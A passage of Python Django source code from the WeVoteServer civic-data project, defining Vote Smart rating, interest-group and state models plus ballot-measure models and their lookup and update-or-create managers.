'suffix': one_official.suffix, 'title': one_official.title, 'electionParties': one_official.electionParties, 'officeParties': one_official.officeParties, 'officeStatus': one_official.officeStatus, 'officeDistrictId': one_official.officeDistrictId, 'officeDistrictName': one_official.officeDistrictName, 'officeTypeId': one_official.officeTypeId, 'officeId': one_official.officeId, 'officeName': one_official.officeName, 'officeStateId': one_official.officeStateId, } return one_official_filtered class VoteSmartRatingManager(models.Model): def __unicode__(self): return "VoteSmartRatingManager" # def retrieve_candidate_from_vote_smart_id(self, vote_smart_candidate_id): # return self.retrieve_vote_smart_candidate(vote_smart_candidate_id) # # def retrieve_vote_smart_candidate_from_we_vote_id(self, we_vote_id): # vote_smart_candidate_id = 0 # vote_smart_candidate_manager = VoteSmartCandidateManager() # return vote_smart_candidate_manager.retrieve_vote_smart_candidate(vote_smart_candidate_id, we_vote_id) # # def fetch_vote_smart_candidate_id_from_we_vote_id(self, we_vote_id): # vote_smart_candidate_id = 0 # vote_smart_candidate_manager = VoteSmartCandidateManager() # results = vote_smart_candidate_manager.retrieve_vote_smart_candidate(vote_smart_candidate_id, we_vote_id) # if results['success']: # return results['vote_smart_candidate_id'] # return 0 # # def retrieve_vote_smart_candidate_from_we_vote_local_id(self, local_candidate_id): # vote_smart_candidate_id = 0 # we_vote_id = '' # vote_smart_candidate_manager = VoteSmartCandidateManager() # return vote_smart_candidate_manager.retrieve_vote_smart_candidate( # vote_smart_candidate_id, we_vote_id, candidate_maplight_id) # # def retrieve_vote_smart_candidate_from_full_name(self, candidate_name, state_code=None): # vote_smart_candidate_id = 0 # we_vote_id = '' # candidate_maplight_id = '' # vote_smart_candidate_manager = VoteSmartCandidateManager() # # results = vote_smart_candidate_manager.retrieve_vote_smart_candidate( # vote_smart_candidate_id, first_name, last_name, state_code) # return results # # def retrieve_vote_smart_candidate_from_name_components(self, first_name=None, last_name=None, state_code=None): # vote_smart_candidate_id = 0 # vote_smart_candidate_manager = VoteSmartCandidateManager() # # results = vote_smart_candidate_manager.retrieve_vote_smart_candidate( # vote_smart_candidate_id, first_name, last_name, state_code) # return results # # # NOTE: searching by all other variables seems to return a list of objects # def retrieve_vote_smart_candidate( # self, vote_smart_candidate_id=None, first_name=None, last_name=None, state_code=None): # """ # We want to return one and only one candidate # :param vote_smart_candidate_id: # :param first_name: # :param last_name: # :param state_code: # :return: # """ # error_result = False # exception_does_not_exist = False # exception_multiple_object_returned = False # vote_smart_candidate = VoteSmartCandidate() # # try: # if positive_value_exists(vote_smart_candidate_id): # vote_smart_candidate = VoteSmartCandidate.objects.get(candidateId=vote_smart_candidate_id) # vote_smart_candidate_id = convert_to_int(vote_smart_candidate.candidateId) # status = "RETRIEVE_VOTE_SMART_CANDIDATE_FOUND_BY_ID" # elif positive_value_exists(first_name) or positive_value_exists(last_name): # candidate_queryset = VoteSmartCandidate.objects.all() # if positive_value_exists(first_name): # first_name = first_name.replace("`", "'") # Vote Smart doesn't like this kind of apostrophe: ` # candidate_queryset = candidate_queryset.filter(Q(firstName__istartswith=first_name) | # Q(nickName__istartswith=first_name) | # Q(preferredName__istartswith=first_name)) # if positive_value_exists(last_name): # last_name = last_name.replace("`", "'") # Vote Smart doesn't like this kind of apostrophe: ` # candidate_queryset = candidate_queryset.filter(lastName__iexact=last_name) # if positive_value_exists(state_code): # candidate_queryset = candidate_queryset.filter(Q(electionStateId__iexact=state_code) | # Q(electionStateId__iexact="NA")) # vote_smart_candidate_list = list(candidate_queryset[:1]) # if vote_smart_candidate_list: # vote_smart_candidate = vote_smart_candidate_list[0] # else: # vote_smart_candidate = VoteSmartCandidate() # vote_smart_candidate_id = convert_to_int(vote_smart_candidate.candidateId) # status = "RETRIEVE_VOTE_SMART_CANDIDATE_FOUND_BY_NAME" # else: # status = "RETRIEVE_VOTE_SMART_CANDIDATE_SEARCH_INDEX_MISSING" # except VoteSmartCandidate.MultipleObjectsReturned as e: # exception_multiple_object_returned = True # status = "RETRIEVE_VOTE_SMART_CANDIDATE_MULTIPLE_OBJECTS_RETURNED" # except VoteSmartCandidate.DoesNotExist: # exception_does_not_exist = True # status = "RETRIEVE_VOTE_SMART_CANDIDATE_NOT_FOUND" # # results = { # 'success': True if positive_value_exists(vote_smart_candidate_id) else False, # 'status': status, # 'error_result': error_result, # 'DoesNotExist': exception_does_not_exist, # 'MultipleObjectsReturned': exception_multiple_object_returned, # 'vote_smart_candidate_found': True if positive_value_exists(vote_smart_candidate_id) else False, # 'vote_smart_candidate_id': vote_smart_candidate_id, # 'vote_smart_candidate': vote_smart_candidate, # } # return results class VoteSmartCategory(models.Model): """http://api.votesmart.org/docs/Rating.html """ categoryId = models.CharField(max_length=15, primary_key=True) name = models.CharField(max_length=255) def vote_smart_category_filter(category): """ Filter down the complete dict from Vote Smart to just the fields we use locally :param category: :return: """ category_filtered = { 'categoryId': category.categoryId, 'name': category.name, } return category_filtered class VoteSmartRating(models.Model): """ http://api.votesmart.org/docs/Rating.html A Vote Smart rating is like a voter guide, because it contains a package of candidateId/rating pairs like this: {'candidateRating': [{'candidateId': '53279', 'rating': '40'}, {'candidateId': '53266', 'rating': '90'}, """ ratingId = models.CharField(max_length=15, primary_key=True) sigId = models.CharField(verbose_name="special interest group id", max_length=15) timeSpan = models.CharField(max_length=255) ratingName = models.CharField(max_length=255) ratingText = models.TextField() # This is the filter used for the Vote Smart call: Rating.getCandidateRating # http://api.votesmart.org/docs/Rating.html def vote_smart_candidate_rating_filter(rating): """ Filter down the complete dict from Vote Smart to just the fields we use locally :param rating: :return: """ rating_filtered = { 'ratingId': rating.ratingId, 'rating': rating.rating, 'timeSpan': rating.timespan, # Seems to be typo with lower case "s" 'ratingName': rating.ratingName, 'ratingText': rating.ratingText, 'sigId': rating.sigId, } return rating_filtered # This is the filter used for the Vote Smart call: Rating.getSigRatings # http://api.votesmart.org/docs/Rating.html def vote_smart_rating_list_filter(rating): """ Filter down the complete dict from Vote Smart to just the fields we use locally :param rating: :return: """ rating_filtered = { 'ratingId': rating.ratingId, 'timeSpan': rating.timespan, # Seems to be typo with lower case "s" 'ratingName': rating.ratingName, 'ratingText': rating.ratingText, } return rating_filtered class VoteSmartRatingOneCandidate(models.Model): """ http://api.votesmart.org/docs/Rating.html A Vote Smart rating is like a voter guide, because it contains a package of candidateId/rating pairs like this: {'candidateRating': [{'candidateId': '53279', 'rating': '40'}, {'candidateId': '53266', 'rating': '90'}, """ ratingId = models.CharField(max_length=15) sigId = models.CharField(verbose_name="special interest group id", max_length=15) candidateId = models.CharField(max_length=15) timeSpan = models.CharField(max_length=255) rating = models.CharField(max_length=255) ratingName = models.CharField(max_length=255) ratingText = models.TextField() def vote_smart_rating_one_candidate_filter(rating_one_candidate): """ Filter down the complete dict from Vote Smart to just the fields we use locally :param rating: :return: """ rating_one_candidate_filtered = { 'candidateId': rating_one_candidate.candidateId, 'rating': rating_one_candidate.rating, } return rating_one_candidate_filtered class VoteSmartRatingCategoryLink(models.Model): """http://api.votesmart.org/docs/Rating.html """ ratingId = models.CharField(max_length=15) sigId = models.CharField(verbose_name="group id for this rating", max_length=15) candidateId = models.CharField(verbose_name="vote smart candidate id for this rating", max_length=15) timeSpan = models.CharField(max_length=255) categoryId = models.CharField(verbose_name="category id for this rating", max_length=15) categoryName = models.CharField(verbose_name="category name", max_length=255) class VoteSmartSpecialInterestGroup(models.Model): """http://api.votesmart.org/docs/Rating.html """ sigId = models.CharField(verbose_name="special interest group id", max_length=15, primary_key=True) parentId = models.CharField(max_length=15) stateId = models.CharField(max_length=2) name = models.CharField(verbose_name="name of special interest group", max_length=255) description = models.TextField() address = models.CharField(max_length=255) city = models.CharField(max_length=255) state = models.CharField(max_length=255) zip = models.CharField(max_length=255) phone1 = models.CharField(max_length=255) phone2 = models.CharField(max_length=255) fax = models.CharField(max_length=255) email = models.CharField(max_length=255) url = models.CharField(max_length=255) contactName = models.CharField(max_length=255) def vote_smart_special_interest_group_list_filter(special_interest_group_from_list): """ Filter down the complete dict from Vote Smart to just the fields we use locally :param special_interest_group: :return: """ special_interest_group_list_filtered = { 'sigId': special_interest_group_from_list.sigId, 'parentId': special_interest_group_from_list.parentId, 'name': special_interest_group_from_list.name, } return special_interest_group_list_filtered def vote_smart_special_interest_group_filter(special_interest_group): """ Filter down the complete dict from Vote Smart to just the fields we use locally :param special_interest_group: :return: """ special_interest_group_filtered = { 'sigId': special_interest_group.sigId, 'parentId': special_interest_group.parentId, 'stateId': special_interest_group.stateId, 'name': special_interest_group.name, 'description': special_interest_group.description, 'address': special_interest_group.address, 'city': special_interest_group.city, 'state': special_interest_group.state, 'zip': special_interest_group.zip, 'phone1': special_interest_group.phone1, 'phone2': special_interest_group.phone2, 'fax': special_interest_group.fax, 'email': special_interest_group.email, 'url': special_interest_group.url, 'contactName': special_interest_group.contactName, } return special_interest_group_filtered class VoteSmartSpecialInterestGroupManager(models.Model): def __unicode__(self): return "VoteSmartSpecialInterestGroupManager" def update_or_create_we_vote_organization(self, vote_smart_special_interest_group_id): # See if we can find an existing We Vote organization with vote_smart_special_interest_group_id if not positive_value_exists(vote_smart_special_interest_group_id): results = { 'success': False, 'status': "SPECIAL_INTEREST_GROUP_ID_MISSING", 'organization_found': False, 'organization_created': False, 'organization': Organization(), } return results # Retrieve Special Interest Group from local cache db try: vote_smart_organization = VoteSmartSpecialInterestGroup.objects.get( sigId=vote_smart_special_interest_group_id) vote_smart_organization_found = True except VoteSmartSpecialInterestGroup.MultipleObjectsReturned as e: vote_smart_organization = VoteSmartSpecialInterestGroup() vote_smart_organization_found = False except VoteSmartSpecialInterestGroup.DoesNotExist as e: vote_smart_organization = VoteSmartSpecialInterestGroup() # An organization matching this Vote Smart ID wasn't found vote_smart_organization_found = False if not vote_smart_organization_found: results = { 'success': False, 'status': "SPECIAL_INTEREST_GROUP_MISSING", 'organization_found': False, 'organization_created': False, 'organization': Organization(), } return results we_vote_organization_manager = OrganizationManager() organization_id = 0 organization_we_vote_id = None we_vote_organization_found = False we_vote_organization_created = False we_vote_organization_updated = False results = we_vote_organization_manager.retrieve_organization(organization_id, organization_we_vote_id, vote_smart_special_interest_group_id) if results['organization_found']: success = True status = "NOT UPDATING RIGHT NOW" we_vote_organization_found = True we_vote_organization = results['organization'] # Update existing organization entry if email or website is missing try: organization_email_updated = False organization_website_updated = False if not positive_value_exists(we_vote_organization.organization_email) and \ positive_value_exists(vote_smart_organization.email): we_vote_organization.organization_email = vote_smart_organization.email organization_email_updated = True if not positive_value_exists(we_vote_organization.organization_website) and \ positive_value_exists(vote_smart_organization.url): we_vote_organization.organization_website = vote_smart_organization.url organization_website_updated = True if positive_value_exists(organization_email_updated) or \ positive_value_exists(organization_website_updated): we_vote_organization.save() success = True status = "UPDATE_ORGANIZATION_FROM_VOTE_SMART_SUCCESS" we_vote_organization_updated = True else: success = True status = "UPDATE_ORGANIZATION_FROM_VOTE_SMART_NOT_REQUIRED" we_vote_organization_updated = False except Exception as error_instance: error_message = error_instance.args status = "UPDATE_ORGANIZATION_FROM_VOTE_SMART_ID_FAILED: " \ "{error_message}".format(error_message=error_message) success = False we_vote_organization = Organization() else: # Create new organization, or find existing org via other fields try: defaults_from_vote_smart = { 'organization_name': vote_smart_organization.name, 'organization_address': vote_smart_organization.address, 'organization_city': vote_smart_organization.city, 'organization_state': vote_smart_organization.state, 'organization_zip': vote_smart_organization.zip, 'organization_phone1': vote_smart_organization.phone1, 'organization_phone2': vote_smart_organization.phone2, 'organization_fax': vote_smart_organization.fax, 'organization_email': vote_smart_organization.email, 'organization_website': vote_smart_organization.url, 'organization_contact_name': vote_smart_organization.contactName, 'organization_description': vote_smart_organization.description, 'state_served_code': vote_smart_organization.stateId, 'vote_smart_id': vote_smart_organization.sigId, } we_vote_organization, we_vote_organization_created = Organization.objects.update_or_create( organization_name=vote_smart_organization.name, # organization_website=vote_smart_organization.url, # organization_email=vote_smart_organization.email, defaults=defaults_from_vote_smart, ) success = True status = "UPDATE_OR_CREATE_ORGANIZATION_FROM_VOTE_SMART" we_vote_organization_found = True except Organization.MultipleObjectsReturned as e: success = False status = "UPDATE_OR_CREATE_ORGANIZATION_FROM_VOTE_SMART_MULTIPLE_FOUND" we_vote_organization = Organization() except Exception as error_instance: error_message = error_instance.args status = "UPDATE_OR_CREATE_ORGANIZATION_FROM_VOTE_SMART_FAILED: " \ "{error_message}".format(error_message=error_message) success = False we_vote_organization = Organization() results = { 'success': success, 'status': status, 'organization_found': we_vote_organization_found, 'organization_created': we_vote_organization_created, 'organization_updated': we_vote_organization_updated, 'organization': we_vote_organization, } return results class VoteSmartState(models.Model): """http://api.votesmart.org/docs/State.html """ stateId = models.CharField(max_length=2, primary_key=True) name = models.CharField(max_length=50) senators = models.CharField(max_length=255) # example: 0 billUrl = models.CharField(max_length=255) # example: usCircuit = models.CharField(max_length=255) # example: Ninth ltGov = models.CharField(max_length=255) # example: t rollLower = models.CharField(max_length=255) # example: Roll no. lowerLegis = models.CharField(max_length=255) # example: Assembly voterReg = models.CharField(max_length=255) # example: <p style="orphans: 1;"><strong><span sty flower = models.CharField(max_length=255) # example: Golden Poppy area = models.CharField(max_length=255) # example: 158,693 sq mi upperLegis = models.CharField(max_length=255) # example: Legislature termLength = models.CharField(max_length=255) # example: 0 bicameral = models.CharField(max_length=255) # example: t capital = models.CharField(max_length=255) # example: Sacramento voteUrl = models.CharField(max_length=255) # example: nickName = models.CharField(max_length=255) # example: The Golden State bird = models.CharField(max_length=255) # example: California Valley Quail highPoint = models.CharField(max_length=255) # example: Mt. Whitney, 14,491 ft termLimit = models.CharField(max_length=255) # example: 0 lowPoint = models.CharField(max_length=255) # example: Death Valley, 282 ft below sea level. primaryDate = models.CharField(max_length=255) # example: stateType = models.CharField(max_length=255) # example: State statehood = models.CharField(max_length=255) # example: Sept. 9, 1850 (31st state) reps = models.CharField(max_length=255) # example: 0 motto = models.CharField(max_length=255) # example: Eureka [I Have Found It] population = models.CharField(max_length=255) # example: 36,961,664 (2009 est.) tree = models.CharField(max_length=255) # example: generalDate = models.CharField(max_length=255) # example: rollUpper = models.CharField(max_length=255) # example: Roll no. largestCity = models.CharField(max_length=255) # example: def vote_smart_state_filter(one_state): """ Filter down the complete dict from Vote Smart to just the fields we use locally :param one_state: :return: """ one_state_filtered = { 'stateId': one_state['stateId'], 'name': one_state['name'], } return one_state_filtered # Methods. def get_state(state_id): """Retrieve State from database.""" return VoteSmartState.objects.filter(stateId=state_id) def get_states(): """"Retrieve all State objects from database.""" return VoteSmartState.objects.all() ``` #### File: WeVoteServer/measure/models.py ```python from django.db import models from django.db.models import Q from exception.models import handle_exception, handle_record_found_more_than_one_exception from wevote_settings.models import fetch_next_we_vote_id_last_contest_measure_integer, \ fetch_next_we_vote_id_last_measure_campaign_integer, fetch_site_unique_id_prefix import wevote_functions.admin from wevote_functions.functions import convert_to_int, extract_state_from_ocd_division_id, positive_value_exists logger = wevote_functions.admin.get_logger(__name__) # The measure that is on the ballot (equivalent to ContestOffice) class ContestMeasure(models.Model): # The we_vote_id identifier is unique across all We Vote sites, and allows us to share our data with other # organizations # It starts with "wv" then we add on a database specific identifier like "3v" (WeVoteSetting.site_unique_id_prefix) # then the string "meas", and then a sequential integer like "123". # We keep the last value in WeVoteSetting.we_vote_id_last_contest_measure_integer we_vote_id = models.CharField( verbose_name="we vote permanent id", max_length=255, default=None, null=True, blank=True, unique=True) maplight_id = models.CharField(verbose_name="maplight unique identifier", max_length=255, null=True, blank=True, unique=False) vote_smart_id = models.CharField(verbose_name="votesmart unique identifier", max_length=200, null=True, blank=True, unique=False) # The title of the measure (e.g. 'Proposition 42'). measure_title = models.CharField(verbose_name="measure title", max_length=255, null=False, blank=False) # The measure's title as passed over by Google Civic. We save this so we can match to this measure even # if we edit the measure's name locally. google_civic_measure_title = models.CharField(verbose_name="measure name exactly as received from google civic", max_length=255, null=True, blank=True) # A brief description of the referendum. This field is only populated for contests of type 'Referendum'. measure_subtitle = models.TextField(verbose_name="google civic referendum subtitle", null=True, blank=True, default="") # The text of the measure. This field is only populated for contests of type 'Referendum'. measure_text = models.TextField(verbose_name="measure text", null=True, blank=False) # A link to the referendum. This field is only populated for contests of type 'Referendum'. measure_url = models.CharField(verbose_name="measure details url", max_length=255, null=True, blank=False) # The unique ID of the election containing this contest. (Provided by Google Civic) google_civic_election_id = models.CharField( verbose_name="google civic election id", max_length=255, null=True, blank=True) google_civic_election_id_new = models.PositiveIntegerField( verbose_name="google civic election id new", default=0, null=False, blank=False) ocd_division_id = models.CharField(verbose_name="ocd division id", max_length=255, null=True, blank=True) # ballot_placement: We store ballot_placement in the BallotItem table instead because it is different for each voter # If this is a partisan election, the name of the party it is for. primary_party = models.CharField(verbose_name="primary party", max_length=255, null=True, blank=True) # The name of the district. district_name = models.CharField(verbose_name="district name", max_length=255, null=False, blank=False) # The geographic scope of this district. If unspecified the district's geography is not known. # One of: national, statewide, congressional, stateUpper, stateLower, countywide, judicial, schoolBoard, # cityWide, township, countyCouncil, cityCouncil, ward, special district_scope = models.CharField(verbose_name="district scope", max_length=255, null=False, blank=False) # An identifier for this district, relative to its scope. For example, the 34th State Senate district # would have id "34" and a scope of stateUpper. district_id = models.CharField(verbose_name="google civic district id", max_length=255, null=True, blank=True) # State code state_code = models.CharField(verbose_name="state this measure affects", max_length=2, null=True, blank=True) wikipedia_page_id = models.BigIntegerField(verbose_name="pageid", null=True, blank=True) wikipedia_page_title = models.CharField( verbose_name="Page title on Wikipedia", max_length=255, null=True, blank=True) wikipedia_photo_url = models.URLField(verbose_name='url of wikipedia logo', blank=True, null=True) ballotpedia_page_title = models.CharField( verbose_name="Page title on Ballotpedia", max_length=255, null=True, blank=True) ballotpedia_photo_url = models.URLField(verbose_name='url of ballotpedia logo', blank=True, null=True) def get_measure_state(self): if positive_value_exists(self.state_code): return self.state_code # Pull this from ocdDivisionId ocd_division_id = self.ocd_division_id return extract_state_from_ocd_division_id(ocd_division_id) # We override the save function so we can auto-generate we_vote_id def save(self, *args, **kwargs): # Even if this data came from another source we still need a unique we_vote_id if self.we_vote_id: self.we_vote_id = self.we_vote_id.strip().lower() if self.we_vote_id == "" or self.we_vote_id is None: # If there isn't a value... # ...generate a new id site_unique_id_prefix = fetch_site_unique_id_prefix() next_local_integer = fetch_next_we_vote_id_last_contest_measure_integer() # "wv" = We Vote # site_unique_id_prefix = a generated (or assigned) unique id for one server running We Vote # "meas" = tells us this is a unique id for a ContestMeasure # next_integer = a unique, sequential integer for this server - not necessarily tied to database id self.we_vote_id = "wv{site_unique_id_prefix}meas{next_integer}".format( site_unique_id_prefix=site_unique_id_prefix, next_integer=next_local_integer, ) super(ContestMeasure, self).save(*args, **kwargs) # The campaign that is supporting this Measure. Equivalent to CandidateCampaign class MeasureCampaign(models.Model): # The we_vote_id identifier is unique across all We Vote sites, and allows us to share our data with other # organizations # It starts with "wv" then we add on a database specific identifier like "3v" (WeVoteSetting.site_unique_id_prefix) # then the string "meascam", and then a sequential integer like "123". # We keep the last value in WeVoteSetting.we_vote_id_last_measure_campaign_integer we_vote_id = models.CharField( verbose_name="we vote permanent id", max_length=255, default=None, null=True, blank=True, unique=True) # contest_measure link # The internal We Vote id for the ContestMeasure that this campaign taking a stance on contest_measure_id = models.CharField(verbose_name="contest_measure unique id", max_length=255, null=False, blank=False) # Is the campaign attempting to pass the measure, or stop it from passing? SUPPORT = 'S' NEUTRAL = 'N' OPPOSE = 'O' STANCE_CHOICES = ( (SUPPORT, 'Support'), (NEUTRAL, 'Neutral'), (OPPOSE, 'Oppose'), ) stance = models.CharField("stance", max_length=1, choices=STANCE_CHOICES, default=NEUTRAL) # The candidate's name. candidate_name = models.CharField(verbose_name="candidate name", max_length=255, null=False, blank=False) # The full name of the party the candidate is a member of. party = models.CharField(verbose_name="party", max_length=255, null=True, blank=True) # A URL for a photo of the candidate. photo_url = models.CharField(verbose_name="photoUrl", max_length=255, null=True, blank=True) # The unique ID of the election containing this contest. (Provided by Google Civic) google_civic_election_id = models.CharField(verbose_name="google election id", max_length=255, null=False, blank=False) google_civic_election_id_new = models.PositiveIntegerField( verbose_name="google election id", default=0, null=False, blank=False) # The URL for the candidate's campaign web site. url = models.URLField(verbose_name='website url of campaign', blank=True, null=True) facebook_url = models.URLField(verbose_name='facebook url of campaign', blank=True, null=True) twitter_url = models.URLField(verbose_name='twitter url of campaign', blank=True, null=True) google_plus_url = models.URLField(verbose_name='google plus url of campaign', blank=True, null=True) youtube_url = models.URLField(verbose_name='youtube url of campaign', blank=True, null=True) # The email address for the candidate's campaign. measure_email = models.CharField(verbose_name="measure email", max_length=255, null=True, blank=True) # The voice phone number for the campaign office for this measure. measure_phone = models.CharField(verbose_name="measure phone", max_length=255, null=True, blank=True) # We override the save function so we can auto-generate we_vote_id def save(self, *args, **kwargs): # Even if this data came from another source we still need a unique we_vote_id if self.we_vote_id: self.we_vote_id = self.we_vote_id.strip().lower() if self.we_vote_id == "" or self.we_vote_id is None: # If there isn't a value... # ...generate a new id site_unique_id_prefix = fetch_site_unique_id_prefix() next_local_integer = fetch_next_we_vote_id_last_measure_campaign_integer() # "wv" = We Vote # site_unique_id_prefix = a generated (or assigned) unique id for one server running We Vote # "meascam" = tells us this is a unique id for a MeasureCampaign # next_integer = a unique, sequential integer for this server - not necessarily tied to database id self.we_vote_id = "wv{site_unique_id_prefix}meascam{next_integer}".format( site_unique_id_prefix=site_unique_id_prefix, next_integer=next_local_integer, ) super(MeasureCampaign, self).save(*args, **kwargs) class ContestMeasureManager(models.Model): def __unicode__(self): return "ContestMeasureManager" def retrieve_contest_measure_from_id(self, contest_measure_id): contest_measure_manager = ContestMeasureManager() return contest_measure_manager.retrieve_contest_measure(contest_measure_id) def retrieve_contest_measure_from_we_vote_id(self, contest_measure_we_vote_id): contest_measure_id = 0 contest_measure_manager = ContestMeasureManager() return contest_measure_manager.retrieve_contest_measure(contest_measure_id, contest_measure_we_vote_id) def retrieve_contest_measure_from_maplight_id(self, maplight_id): contest_measure_id = 0 contest_measure_we_vote_id = '' contest_measure_manager = ContestMeasureManager() return contest_measure_manager.retrieve_contest_measure(contest_measure_id, contest_measure_we_vote_id, maplight_id) def fetch_contest_measure_id_from_maplight_id(self, maplight_id): contest_measure_id = 0 contest_measure_we_vote_id = '' contest_measure_manager = ContestMeasureManager() results = contest_measure_manager.retrieve_contest_measure( contest_measure_id, contest_measure_we_vote_id, maplight_id) if results['success']: return results['contest_measure_id'] return 0 def fetch_contest_measure_we_vote_id_from_id(self, contest_measure_id): contest_measure_we_vote_id = '' maplight_id = '' contest_measure_manager = ContestMeasureManager() results = contest_measure_manager.retrieve_contest_measure( contest_measure_id, contest_measure_we_vote_id, maplight_id) if results['success']: return results['contest_measure_we_vote_id'] return 0 def update_or_create_contest_measure(self, we_vote_id, google_civic_election_id, measure_title, district_id, district_name, state_code, update_contest_measure_values): """ Either update or create an office entry. """ exception_multiple_object_returned = False new_measure_created = False proceed_to_update_or_save = True success = False status = 'ENTERING update_or_create_contest_measure' contest_measure_on_stage = ContestMeasure() if positive_value_exists(we_vote_id): # If here we are dealing with an existing measure pass else: # If here, we are dealing with a measure that is new to We Vote if not (district_id or district_name): success = False status = 'MISSING_DISTRICT_ID-MEASURE_UPDATE_OR_CREATE' proceed_to_update_or_save = False elif not state_code: success = False status = 'MISSING_STATE_CODE-MEASURE_UPDATE_OR_CREATE' proceed_to_update_or_save = False elif not measure_title: success = False status = 'MISSING_MEASURE_TITLE-MEASURE_UPDATE_OR_CREATE' proceed_to_update_or_save = False if not google_civic_election_id: success = False status = 'MISSING_GOOGLE_CIVIC_ELECTION_ID-MEASURE_UPDATE_OR_CREATE' proceed_to_update_or_save = False if proceed_to_update_or_save: # We need to use one set of values when we are creating an entry, and another set of values when we # are updating an entry try: # Use get_or_create with create_contest_measure_values. It will be more elegent and less prone # to problems. # if a contest_measure_on_stage is found, *then* update it with update_contest_measure_values if positive_value_exists(we_vote_id): contest_measure_on_stage, new_measure_created = ContestMeasure.objects.update_or_create( google_civic_election_id__exact=google_civic_election_id, we_vote_id__iexact=we_vote_id, defaults=update_contest_measure_values) else: contest_measure_on_stage, new_measure_created = ContestMeasure.objects.update_or_create( google_civic_election_id__exact=google_civic_election_id, district_id__exact=district_id, district_name__iexact=district_name, # Case doesn't matter measure_title__iexact=measure_title, # Case doesn't matter state_code__iexact=state_code, # Case doesn't matter defaults=update_contest_measure_values) success = True status = 'CONTEST_MEASURE_SAVED' except ContestMeasure.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger=logger) success = False status = 'MULTIPLE_MATCHING_CONTEST_MEASURES_FOUND' exception_multiple_object_returned = True results = { 'success': success, 'status': status, 'MultipleObjectsReturned': exception_multiple_object_returned, 'new_measure_created': new_measure_created, 'contest_measure': contest_measure_on_stage, 'saved': new_measure_created, 'updated': True if success and not new_measure_created else False, 'not_processed': True if not success else False, } return results # NOTE: searching by all other variables seems to return a list of objects def retrieve_contest_measure(self, contest_measure_id, contest_measure_we_vote_id='', maplight_id=None): error_result = False exception_does_not_exist = False exception_multiple_object_returned = False contest_measure_on_stage = ContestMeasure() try: if positive_value_exists(contest_measure_id): contest_measure_on_stage = ContestMeasure.objects.get(id=contest_measure_id) contest_measure_id = contest_measure_on_stage.id contest_measure_we_vote_id = contest_measure_on_stage.we_vote_id status = "RETRIEVE_MEASURE_FOUND_BY_ID" elif positive_value_exists(contest_measure_we_vote_id): contest_measure_on_stage = ContestMeasure.objects.get(we_vote_id=contest_measure_we_vote_id) contest_measure_id = contest_measure_on_stage.id contest_measure_we_vote_id = contest_measure_on_stage.we_vote_id status = "RETRIEVE_MEASURE_FOUND_BY_WE_VOTE_ID" elif positive_value_exists(maplight_id): contest_measure_on_stage = ContestMeasure.objects.get(maplight_id=maplight_id) contest_measure_id = contest_measure_on_stage.id contest_measure_we_vote_id = contest_measure_on_stage.we_vote_id status = "RETRIEVE_MEASURE_FOUND_BY_MAPLIGHT_ID" else: status = "RETRIEVE_MEASURE_SEARCH_INDEX_MISSING" except ContestMeasure.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger=logger) exception_multiple_object_returned = True status = "RETRIEVE_MEASURE_MULTIPLE_OBJECTS_RETURNED" except ContestMeasure.DoesNotExist: exception_does_not_exist = True status = "RETRIEVE_MEASURE_NOT_FOUND" results = { 'success': True if convert_to_int(contest_measure_id) > 0 else False, 'status': status, 'error_result': error_result, 'DoesNotExist': exception_does_not_exist, 'MultipleObjectsReturned': exception_multiple_object_returned, 'contest_measure_found': True if convert_to_int(contest_measure_id) > 0 else False, 'contest_measure_id': convert_to_int(contest_measure_id), 'contest_measure_we_vote_id': contest_measure_we_vote_id, 'contest_measure': contest_measure_on_stage, } return results def fetch_contest_measure_id_from_we_vote_id(self, contest_measure_we_vote_id): """ Take in contest_measure_we_vote_id and return internal/local-to-this-database contest_measure_id :param contest_measure_we_vote_id: :return: """ contest_measure_id = 0 try: if positive_value_exists(contest_measure_we_vote_id): contest_measure_on_stage = ContestMeasure.objects.get(we_vote_id=contest_measure_we_vote_id) contest_measure_id = contest_measure_on_stage.id except ContestMeasure.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger=logger) except ContestMeasure.DoesNotExist: contest_measure_id = 0 return contest_measure_id class ContestMeasureList(models.Model): """ This is a class to make it easy to retrieve lists of Measures """ def __unicode__(self): return "ContestMeasureList" def retrieve_all_measures_for_upcoming_election(self, google_civic_election_id=0, return_list_of_objects=False): measure_list_objects = [] measure_list_light = [] measure_list_found = False try: measure_queryset = ContestMeasure.objects.all() if positive_value_exists(google_civic_election_id): measure_queryset = measure_queryset.filter(google_civic_election_id=google_civic_election_id) else: # TODO Limit this search to upcoming_elections only pass # We never expect more than 300 measures for one election measure_list_objects = measure_queryset[:300] if len(measure_list_objects): measure_list_found = True status = 'MEASURES_RETRIEVED' success = True else: status = 'NO_MEASURES_RETRIEVED' success = True except ContestMeasure.DoesNotExist: # No measures found. Not a problem. status = 'NO_MEASURES_FOUND_DoesNotExist' measure_list_objects = [] success = True except Exception as e: handle_exception(e, logger=logger) status = 'FAILED retrieve_all_measures_for_upcoming_election ' \ '{error} [type: {error_type}]'.format(error=e, error_type=type(e)) success = False if measure_list_found: for measure in measure_list_objects: one_measure = { 'ballot_item_display_name': measure.measure_title, 'measure_we_vote_id': measure.we_vote_id, 'office_we_vote_id': '', 'candidate_we_vote_id': '', } measure_list_light.append(one_measure.copy()) results = { 'success': success, 'status': status, 'google_civic_election_id': google_civic_election_id, 'measure_list_found': measure_list_found, 'measure_list_objects': measure_list_objects if return_list_of_objects else [], 'measure_list_light': measure_list_light, } return results def retrieve_possible_duplicate_measures(self, measure_title, google_civic_election_id, measure_url, maplight_id, vote_smart_id, we_vote_id_from_master=''): measure_list_objects = [] filters = [] measure_list_found = False try: measure_queryset = ContestMeasure.objects.all() measure_queryset = measure_queryset.filter(google_civic_election_id=google_civic_election_id) # We don't look for office_we_vote_id because of the chance that locally we are using a # different we_vote_id # measure_queryset = measure_queryset.filter(contest_office_we_vote_id__iexact=office_we_vote_id) # Ignore entries with we_vote_id coming in from master server if positive_value_exists(we_vote_id_from_master): measure_queryset = measure_queryset.filter(~Q(we_vote_id__iexact=we_vote_id_from_master)) # We want to find candidates with *any* of these values if positive_value_exists(measure_title): new_filter = Q(measure_title__iexact=measure_title) filters.append(new_filter) if positive_value_exists(measure_url): new_filter = Q(measure_url__iexact=measure_url) filters.append(new_filter) if positive_value_exists(maplight_id): new_filter = Q(maplight_id=maplight_id) filters.append(new_filter) if positive_value_exists(vote_smart_id): new_filter = Q(vote_smart_id=vote_smart_id) filters.append(new_filter) # Add the first query if len(filters): final_filters = filters.pop() # ...and "OR" the remaining items in the list for item in filters: 